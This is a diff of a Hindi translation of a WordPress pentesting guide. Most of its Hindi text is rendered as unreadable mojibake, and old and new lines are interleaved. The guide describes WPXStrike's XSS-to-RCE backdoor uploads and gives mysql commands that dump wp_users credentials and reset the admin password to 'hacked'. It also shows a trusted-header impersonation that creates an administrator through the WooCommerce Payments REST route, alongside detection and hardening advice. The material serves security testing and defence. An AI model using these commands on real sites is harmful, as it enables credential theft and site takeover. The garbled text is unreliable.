-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ **Cross-Site Scripting (XSS)** vulnerability рдХреЛ **Remote Code Execution (RCE)** рдпрд╛ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ WordPress рдореЗрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) рджреЗрдЦреЗрдВред рдпрд╣ **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** рдХреЗ рд▓рд┐рдП рд╕рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ script рд╣реИ рдЬрд┐рд╕реЗ **Cross-Site Scripting (XSS)** vulnerability рдХреЛ **Remote Code Execution (RCE)** рдпрд╛ WordPress рдореЗрдВ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) рджреЗрдЦреЗрдВред рдпрд╣ **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** рдХреЗ рд▓рд┐рдП support рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
- _**Privilege Escalation:**_ WordPress рдореЗрдВ рдПрдХ user рдмрдирд╛рддрд╛ рд╣реИред
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ рдЕрдкрдирд╛ custom plugin (backdoor) WordPress рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред
-- _**(RCE) Built-In Plugin Edit:**_ WordPress рдореЗрдВ Built-In Plugins рдХреЛ edit рдХрд░реЗрдВред
-- _**(RCE) Built-In Theme Edit:**_ WordPress рдореЗрдВ Built-In Themes рдХреЛ edit рдХрд░реЗрдВред
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ рдЕрдкрдирд╛ custom plugin (backdoor) WordPress рдкрд░ upload рдХрд░реЗрдВред
+- _**(RCE) Built-In Plugin Edit:**_ WordPress рдХреЗ Built-In Plugins рдХреЛ edit рдХрд░реЗрдВред
+- _**(RCE) Built-In Theme Edit:**_ WordPress рдХреЗ Built-In Themes рдХреЛ edit рдХрд░реЗрдВред
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes рдХреЗ рд▓рд┐рдП custom exploitsред
## Post Exploitation
-рдпреВрдЬрд╝рд░рдиреЗрдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓реЗрдВ:
+usernames рдФрд░ passwords рдирд┐рдХрд╛рд▓реЗрдВ:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@@ -333,29 +331,29 @@ admin password рдмрджрд▓реЗрдВ:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
-## Wordpress Plugins Pentest
+## Wordpress рдкреНрд▓рдЧрдЗрдиреНрд╕ Pentest
-### рд╣рдорд▓реЗ рдХреА рд╕рддрд╣
+### рд╣рдорд▓рд╛ рд╕рддрд╣
-рдХрд┐рд╕ рддрд░рд╣ рдПрдХ Wordpress plugin рдлрд╝рдВрдХреНрд╢рдиреИрд▓рд┐рдЯреА рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдирдирд╛ рдЙрд╕рдХреА functionality рдореЗрдВ vulnerabilities рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╣рдо рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмреБрд▓реЗрдЯ рдкреЙрдЗрдВрдЯреНрд╕ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ plugin рдХрд┐рд╕ рддрд░рд╣ functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ vulnerable plugins рдХреЗ рдЙрджрд╛рд╣рд░рдг [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рдореЗрдВ рджрд┐рдП рдЧрдП рд╣реИрдВред
+рдпрд╣ рдЬрд╛рдирдирд╛ рдХрд┐ рдХреЛрдИ Wordpress рдкреНрд▓рдЧрдЗрди рдЕрдкрдиреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреИрд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмрд┐рдВрджреБрдУрдВ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреНрд▓рдЧрдЗрди рдХрд┐рд╕ рддрд░рд╣ рд╕реЗ functionality рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рдХрдордЬреЛрд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЗ рд▓рд┐рдП [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рджреЗрдЦреЗрдВред
- **`wp_ajax`**
-рдПрдХ plugin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ AJAX handlers рдХреЗ рдЬрд░рд┐рдП рд╣реЛрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд▓реЙрдЬрд┐рдХ, authorization, рдпрд╛ authentication bugs рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдпреЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ wordpress nonce рдХреА рдореМрдЬреВрджрдЧреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ **Wordpress instance рдореЗрдВ authenticated рдХрд┐рд╕реА рднреА user рдХреЗ рдкрд╛рд╕ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ** (рдЪрд╛рд╣реЗ рдЙрд╕рдХреА role рдХреЛрдИ рднреА рд╣реЛ)ред
+рдПрдХ рддрд░реАрдХрд╛ рдЬрд┐рд╕рд╕реЗ рдХреЛрдИ рдкреНрд▓рдЧрдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдлрдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ AJAX handlers рдХреЗ рдЬрд░рд┐рдПред рдЗрдирдореЗрдВ logic, authorization, рдпрд╛ authentication bugs рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдпреЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ Wordpress nonce рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд░рдЦрддреА рд╣реИрдВ, рдЬреЛ **рдХрд┐рд╕реА рднреА user рдЬрд┐рд╕реЗ Wordpress instance рдореЗрдВ authenticated рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ** рдХреЗ рдкрд╛рд╕ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрд╕рдХреЗ role рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛)ред
-рдпреЗ рд╡реЗ functions рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ plugin рдореЗрдВ рдХрд┐рд╕реА function рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
+рдпреЗ рд╡реЗ functions рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд▓рдЧрдЗрди рдореЗрдВ рдХрд┐рд╕реА function рдХреЛ expose рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
-**`nopriv`` рдХрд╛ рдЙрдкрдпреЛрдЧ endpoint рдХреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ) рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред**
+**`nopriv` рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ endpoint рдХрд┐рд╕реА рднреА user рдХреЗ рд▓рд┐рдП accessible рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреА)ред**
> [!CAUTION]
-> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП рдХрдо-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣реБрдБрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
+> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╕рд┐рд░реНрдл рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдо рддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП рдХрдо-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдХрд╛рд░реНрд░рд╡рд╛рдЗрдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
- **REST API**
-рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ wordpress рдореЗрдВ `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ functions рдХреЛ expose рдХрд┐рдпрд╛ рдЬрд╛рдП:
+рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ wordpress рд╕реЗ рдлрдВрдХреНрд╢рдиреНрд╕ рдХреЛ expose рдХрд┐рдпрд╛ рдЬрд╛рдП, `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ REST API рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдХреЗ:
```php
register_rest_route(
$this->namespace, '/get/', array(
@@ -365,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
-The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API method рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВред
+The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API method рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВред
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
-- **Direct access to the php file**
+- **php рдлрд╝рд╛рдЗрд▓ рддрдХ рд╕реАрдзреЗ рдПрдХреНрд╕реЗрд╕**
-рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ plugin рдРрд╕реА рдХреЛрдИ vulnerable functionality рдЙрдЬрд╛рдЧрд░ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ exploitable рд╣реЛрдЧреАред
+рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА files рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХрд┐рд╕реА plugin рдореЗрдВ рдРрд╕реА рдХреЛрдИ vulnerable functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рд╣реЛ рд░рд╣реА рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдорд╛рддреНрд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рдЙрд╕реЗ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ exploit рдХрд░ рд╕рдХрддрд╛ рд╣реИред
### Trusted-header REST impersonation (WooCommerce Payments тЙд 5.6.1)
-рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ рд╢реЙрд░реНрдЯрдХрдЯ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ REST requests рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди user context рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ header рдХрд┐рд╕реА upstream component рджреНрд╡рд╛рд░рд╛ cryptographically request рдХреЗ рд╕рд╛рде bound рдирд╣реАрдВ рд╣реИ, рддреЛ рдПрдХ attacker рдЙрд╕реЗ spoof рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ privileged REST routes рдХреЛ administrator рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ рд╢реЙрд░реНрдЯрдХрдЯ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ REST requests рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ context рд╕реЗрдЯ рдХрд░рдиреЗ рд╣реЗрддреБ рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ header рдХрд┐рд╕реА upstream component рджреНрд╡рд╛рд░рд╛ cryptographically request рд╕реЗ рдмрд╛рдЙрдВрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рдПрдХ attacker рдЙрд╕реЗ spoof рдХрд░рдХреЗ privileged REST routes рдХреЛ administrator рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
-- Impact: core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ unauthenticated privilege escalation to adminред
-- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 рдХреЛ рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ тАФ рдЖрдо рддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ administrator account)ред
-- Exploited route: `POST /wp-json/wp/v2/users` рдПрдХ elevated role array рдХреЗ рд╕рд╛рдеред
+- рдкреНрд░рднрд╛рд╡: рдЕрдирдСрдереЗрдиреНрдЯрд┐рдХреЗрдЯреЗрдб privilege escalation to admin тАФ core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ред
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
+- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@@ -395,38 +393,38 @@ Content-Length: 114
```
Why it works
-- рдкреНрд▓рдЧрдЗрди рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЗрдбрд░ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕реНрдерд┐рддрд┐ рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рд╕реНрдХрд┐рдк рдХрд░ рджреЗрддрд╛ рд╣реИред
-- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди hack рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рд╣реЗрдбрд░ рд╕реЗ рд╕реАрдзреЗ рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рд╕реЗрдЯ рдХрд░рдХреЗред
+- рдкреНрд▓рдЧрдЗрди рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд header рдХреЛ authentication state рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред
+- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди рдХрд╛ hack рдЗрд╕реЗ bypass рдХрд░ рджреЗрддрд╛ рд╣реИ тАФ рд╕реАрдзреЗ header рд╕реЗ current user context рд╕реЗрдЯ рдХрд░рдХреЗред
Expected success indicators
-- HTTP 201, рдПрдХ JSON рдмреЙрдбреА рдХреЗ рд╕рд╛рде рдЬреЛ рдмрдирд╛рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддреА рд╣реИред
-- рдПрдХ рдирдпрд╛ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `wp-admin/users.php` рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ред
+- HTTP 201 with a JSON body describing the created user.
+- A new admin user visible in `wp-admin/users.php`.
Detection checklist
-- `getallheaders()`, `$_SERVER['HTTP_...']`, рдпрд╛ рдЙрди vendor SDKs рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ рдЬреЛ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдкрдврд╝рдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛., `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- рдЙрди REST registrations рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ privileged callbacks рдХреЗ рдкрд╛рд╕ рдордЬрдмреВрдд `permission_callback` рдЪреЗрдХреНрд╕ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рд╡реЗ рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░реЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред
-- REST handlers рдХреЗ рдЕрдВрджрд░ core user-management functions (`wp_insert_user`, `wp_create_user`) рдХреЗ рдЙрдкрдпреЛрдЧ рдЦреЛрдЬреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рд╣реЗрдбрд░ рдорд╛рдиреЛрдВ рджреНрд╡рд╛рд░рд╛ gated рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
+- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
+- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
Hardening
-- рдХрднреА рднреА рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЗрдбрд░реЛрдВ рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдпрд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рди рдирд┐рдХрд╛рд▓реЗред
-- рдпрджрд┐ рдПрдХ reverse proxy рдХреЛ identity рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреА рд╣реА рд╣реИ, рддреЛ proxy рдкрд░ рдЯреНрд░рд╕реНрдЯ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдЗрдирдмрд╛рдЙрдВрдб рдХреЙрдкрд┐рдпрд╛рдБ рд╣рдЯрд╛ рджреЗрдВ (рдЙрджрд╛., `unset X-Wcpay-Platform-Checkout-User` at the edge), рдлрд┐рд░ рдПрдХ signed token рдкрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ server-side рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВред
-- рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рд╡рд╛рд▓реЗ REST routes рдХреЗ рд▓рд┐рдП `current_user_can()` рдЪреЗрдХреНрд╕ рдФрд░ рдПрдХ рдХрдбрд╝рд╛ `permission_callback` рдЖрд╡рд╢реНрдпрдХ рдХрд░реЗрдВ (`__return_true` рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ)ред
-- рд╣реЗрдбрд░ тАЬimpersonationтАЭ рдХреА рдмрдЬрд╛рдп first-party auth (cookies, application passwords, OAuth) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред
+- Never derive authentication or authorization from client-controlled headers.
+- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
+- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
+- Prefer first-party auth (cookies, application passwords, OAuth) over header тАЬimpersonationтАЭ.
-References: рдкреГрд╖реНрда рдХреЗ рдЕрдВрдд рдореЗрдВ рджрд┐рдП рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ рдЬреЛ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреЗрд╕ рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред
+References: see the links at the end of this page for a public case and broader analysis.
-### рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди via wp_ajax_nopriv (Litho Theme <= 3.0)
